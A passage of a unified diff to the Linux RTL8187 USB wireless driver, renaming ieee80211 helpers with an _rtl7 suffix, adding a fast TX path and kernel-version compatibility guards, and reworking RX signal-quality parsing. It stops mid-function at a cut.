write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1381,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1392,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1417,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1430,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1443,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1485,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1502,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1601,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1612,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1633,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1660,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1687,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1728,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1775,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1835,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1883,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1892,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1975,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2010,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2039,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2129,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2195,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2218,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2232,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2276,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2415,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2433,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2453,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2464,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2477,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO 